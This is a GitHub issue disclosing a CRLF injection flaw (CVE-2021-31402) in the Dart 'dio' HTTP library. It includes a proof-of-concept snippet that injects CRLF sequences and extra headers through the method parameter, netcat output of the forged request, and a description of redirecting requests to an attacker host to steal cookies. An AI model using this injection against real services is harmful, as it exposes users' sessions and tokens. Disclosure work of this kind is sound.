New issue

CRLF in dio.request #1130



Labels stale

n0npax commented on Apr 15, 2021

#### New Issue Checklist

☑ I have searched for a similar issue in the project and found none

#### Issue Info

ENV: Any

Examples generated on:

Dart SDK version: 2.13.0-204.0.dev (dev) (Unknown timestamp) on "linux\_x64" dio version: 4.0.0

# **Issue Description and Steps**

Please consider given snippet:

```
import 'package:dio/dio.dart';

void main() async {
  var dio = Dio();
  dio.options.baseUrl = 'http://localhost:1234';
  var resp = await dio.request(
    '/test',
  options: Options(
    method: "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
    //method: "GET",
  ),
  );
}
```

## Generated call looks like

```
nc -1 -p 1234
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LAMA: /test HTTP/1.1
user-agent: Dart/2.13 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost:1234
```

Which presents a security issue. Classic CRLF injection.

## Vector attack:

If the attacker controls the HTTP method(verb), he can change a call and steal all cookies, session whatever is in a call.

Assuming flow like USER -> FOO -> BAR, where flow between FOO and BAR is internal, mentioned data may leak.

Let's assume I'm replacing example.com with my-hackery-uservice.org and the victim(service) is working in a company behind the proxy. This means I can easily redirect calls with headers/cookies(tokens) and blah blah. By doing more advanced CRLF I can remove the requirement for proxy at all.

# Expected behavior:

if HTTP method(verb) is invalid, raise error.

nonpax changed the title CRLF in dio.request see issue CRLF in dio.request on Apr 15, 2021

licy183 commented on Apr 18, 2021

Contributor

Jump to bottom

I have tested HttpClient in dant:io package, and the same problem occurs. Maybe we should let the dart sdk resolve this issue.

Validate method parameter of HttpClient.open(), check it has no CR, LF dart-lang/sdk#45744

⊙ Closed

stale (bot) commented on Jun 4, 2021

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. If this is still an issue, please make sure it is up to date and if so, add a comment that this is still an issue to keep it open. Thank you for your contributions.

Stale bot added the stale label on Jun 4, 2021 OS-WS commented on Jun 6, 2021 • edited 🕶 This issue was assigned with CVE-2021-31402. Was it fixed? thanks in advance! stale bot removed the stale label on Jun 6, 2021 stale (bot) commented on Jul 7, 2021 This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. If this is still an issue, please make sure it is up to date and if so, add a comment that this is still an issue to keep it open. Thank you for your contributions. Stale bot added the stale label on Jul 7, 2021 stale bot closed this as completed on Jul 20, 2021 n0npax commented on Jul 20, 2021 Author  $Higuys, Your bot just closed CVE \ related \ issue \ without \ fix. This CVE \ was scored \ as \ high(https://nvd.nist.gov/vuln/detail/CVE-2021-31402).$ CC: @licy183 licy183 commented on Jul 22, 2021 Contributor Hi guys, Your bot just closed CVE related issue without fix. This CVE was scored as high(https://nvd.nist.gov/vuln/detail/CVE-2021-31402). CC: @licy183 Maybe we should let the repo's owner reopen this issue. CC: @wendux Assignees No one assigned stale Projects None yet Milestone No milestone Development No branches or pull requests 3 participants